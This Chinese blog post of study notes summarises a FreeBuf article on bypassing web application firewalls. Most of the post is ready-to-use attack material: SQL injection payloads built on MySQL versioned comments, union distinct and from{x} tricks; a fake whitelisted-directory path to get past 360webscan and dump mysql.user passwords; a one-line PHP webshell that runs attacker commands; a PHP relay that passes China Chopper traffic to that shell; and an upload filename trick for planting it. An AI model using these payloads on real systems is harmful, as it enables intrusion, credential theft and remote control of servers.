9-1freebuf学习

摘要:

sql注入的绕过技巧,关于/!/解除注释和/!50000/混淆绕过,用于360webscan的伪造白名单特殊目录,复参数绕过,过滤select空格可用select’name’绕过,from{x
表名}语法(过滤from空格),文件上传的后缀名绕过:filename="shell’;.php"

新的一个月,从freebuf开始呢
来自freebuf上的一篇与waf斗智斗勇的每一天

https://www.freebuf.com/articles/web/247655.html

首先从sqlmap小技巧开始
利用mysql的注释方式进行绕过,例如网站拦截sleep()函数,可以利用**/!50000sleep(5)/**绕过拦截,接上url就是:

url?id=123 and /*!50000sleep(5)*/
可以执行,就可以继续paylaod:url?id=123/*!50000sleep(5)and*/length(database())=1
url?id=123 and /*!50000sleep(5)and*/left(database(),8)=CHAR(115,105,....)
url?id=123 and /*!and*/length(select /*!50000table_name*//*from*//*information_schema.tables*/limit+0,1))=13

关于waf身份认证阶段的绕过:
伪造搜索引擎
UA直接修改为搜索引擎可以绕过进行sql注入等攻击

伪造白名单特殊目录
对于360webscan,如果目录是admin,dede,install等目录则不做拦截
例如:url/pen/news.php?id=1 union select user,password from mysql.user被360webscan拦截
可以直接改为 url/pen/news.php**/admin**?id=1 union select user,password from mysql.user
或者是直接:/pen/admin/…\news.php?id=1…

直接攻击源站
用于云waf,云waf的原理:将dns解析到云waf,访问网站的流量都要通过指定的dns服务器解析,进行waf过滤,才访问原始服务器

关于数据包解析阶段的绕过:
1.编码绕过
最常见的就是url

2.修改请求方式绕过
通过修改请求方式绕过
3.复参数绕过
例如url?id=1 union select password,username from mysql.user;
可以修改为:url?id=1&id=union&id=select&id=password,username&id=from mysql.user

4.waf触发规则绕过/!/取消注释包含关键字绕过
比较特别的是,可以通过注释包含关键字绕过,使用**/!/**包含关键字,在mysql中/!/是取消注释的内容,
比如:

url?id=1 union select user from mysql.user
可以改为:url?id=1 /*!union*/ /*!select*/ /*!user*/ /*!from*/ mysql.user 

在这里插入图片描述

5.//混淆代码绕过
例如:union/*%00*/*50000select*/(database/**/()),(user/**/())
mysql关键字中是不能插入/
/的,sel//ect 会报错,但是函数名和括号之间可以加入//,像database/**/()是可以执行的
在这里插入图片描述

关于/!/中间的代码是可以执行的,而/!50000select/中的50000是mysql版本号,只要mysql大于这个版本就会执行里面的代码
数据或者函数的周围可以无限镶嵌()
关于%00要利用好

6.特殊字符拼接
例如:url?id=1;exec(‘whoam’+‘i’)

插播一个过狗小马:

<span style="font-size:14px;"><?php $a=$_GET['a'];$a($_POST['cmd']);?></span> 

这个不会被杀,但是菜刀连接会被拦截:
于是脚本:

<span style="font-size:14px;"><?php  
$webshell="http://192.168.204.2/pen/1.php?a=assert";//把这里改成你的shell地址  
$webshell=$webshell."&1141056911=base64_decode";  
   
$da=$_POST;  
$data = $da;  
@$data=str_replace("base64_decode(",'$_GET[1141056911](',$data); //接收菜刀的post,并把base64_decode替换成$_GET[1141056911](  
   
//print_r($data);  
   
$data = http_build_query($data);    
$opts = array (    
'http' => array (    
'method' => 'POST',    
'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .    
"Content-Length: " . strlen($data) . "\r\n",    
'content' => $data)  
);  
      
$context = stream_context_create($opts);    
$html = @file_get_contents($webshell, false, $context); //发送post    
echo $html;    
   
   
?> </span>  

好了扩展知识结束,回来
用了/!50000混淆payload被拦截后,以下为拦截内容:
大小写混用,url,16进制编码无用
过滤了union select
用union distinct select绕过(distinct:用于选择出不同的列)
过滤select空格
select后面的参数可以用引号包含不加空格
在这里插入图片描述
在这里插入图片描述

过滤空格from
和form挨着的参数用科学计数法可以不加空格
引入1e0表示00,表示空格,这里是用的3e0(但是我并没有成功执行)

过滤from空格
可以使用**from(x 表名}**语法绕过
在这里插入图片描述

在这里插入图片描述

payload:https://www.example.com/a/b/c/id/1) uNiondistinct (select’1’,username,password,3e0from{x user}order by 1 limit 0,1.0

又一个小技巧:
关于POST传参不限制长度,传递100个参数后第101个参数waf不作检测,如下图:

在这里插入图片描述

对于文件上传
第一检测后缀名,检测到php就不放行,第二就是检测文件内容,含有<?php就拦截
1.修改后缀名:利用引号分号和换行进行混淆
filename="shell’;.php"

原作者的这篇waf具有机器学习的功能(是真的牛皮)

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值